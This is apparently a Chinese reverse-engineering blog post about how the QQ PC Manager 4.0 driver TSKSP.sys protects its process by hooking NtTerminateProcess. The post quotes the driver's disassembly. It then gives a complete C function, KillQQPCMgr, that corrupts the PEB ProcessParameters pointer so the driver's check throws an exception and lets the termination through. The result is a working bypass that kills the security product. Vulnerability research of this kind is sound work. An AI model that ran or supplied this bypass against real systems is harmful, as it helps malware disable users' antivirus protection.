今天装了个QQ电脑管家4.0,看了看它的自我保护。用XueTr查看发现它的驱动TSKSP.sys对NtTerminateProcess进行了SSDT Hook。
于是逆向TSKSP.sys,把里面的FakeNtTerminateProcess抓出来看了看,发现TX做事情相当的纠结啊!
FakeNtTerminateProcess一开始先调用IoGetCurrentProcess()和PsGetCurrentProcessId()获得当前进程(即调用NtTerminateProcess的进程)的eproc和pid。
由于FakeNtTerminateProcess的参数中有目标进程的handle,于是它接下来通过ObReferenceObjectByHandle()由handle获得了目标进程的eproc。
接着通过对比当前进程的eproc和目标进程(即被terminate的进程)的eproc是否相等,来确定是不是自己结束自己,如果是就放行了。
如果不是自己结束自己,它又通过ObOpenObjectByPointer()将目标进程的eproc转换回参数里本来就有的handle(开始纠结了),然后通过ZwQueryInformationProcess()函数由handle获取目标进程的pid。这下他就有了当前进程和目标进程的pid,接下来他用当前进程和目标进程的pid分别取出这两个进程的名字。取法相当不给力:
先通过PsLookupProcessByProcessId()由pid取得很早以前就已经取得了的eproc(纠结……),然后通过ObOpenObjectByPointer()由eproc再一次取得handle(继续纠结……),接下来通过ZwQueryInformationProcess()由handle取得PEB,然后在PEB里找进程名:peb-->ProcessParameters-->ImagePathName。
最后最纠结的地方是,如果发生了异常,就直接放行……要知道PEB是在用户空间里的呀,要让它异常太容易了……
先看看它是怎么取peb-->ProcessParameters-->ImagePathName的:
push [ebp+proc] call ds:KeAttachProcess ; attach上去,为了读peb mov [ebp+bIsAttached], 1 push 1 ; Alignment push 1D8h ; Length mov esi, [ebp+dwPeb] push esi ; Address mov edi, ds:ProbeForRead call edi ; ProbeForRead ; probe 一下 peb mov esi, [esi+10h] mov [ebp+var_3C], esi push 1 ; Alignment push 90h ; Length push esi ; Address call edi ; ProbeForRead, probe 一下 peb-->ProcessParameters,这里我们就可以xx…… …… ; 略
int KillQQPCMgr(int pid) { // by Fypher HANDLE hProc; DWORD dwProcParam; int ret = 0; // xxx peb->ProcessParameters __asm { pushad mov eax, fs:[0x30] add eax, 0x10 mov ecx, [eax] mov dwProcParam, ecx mov dword ptr [eax], 0xFFFFFFFF popad } hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if (hProc == NULL) { ret = -1; } else if (!TerminateProcess(hProc, 0)) { ret = -2; } // restore peb->ProcessParameters __asm { pushad mov eax, fs:[0x30] add eax, 0x10; mov ecx, dwProcParam mov dword ptr [eax], ecx popad } return ret; }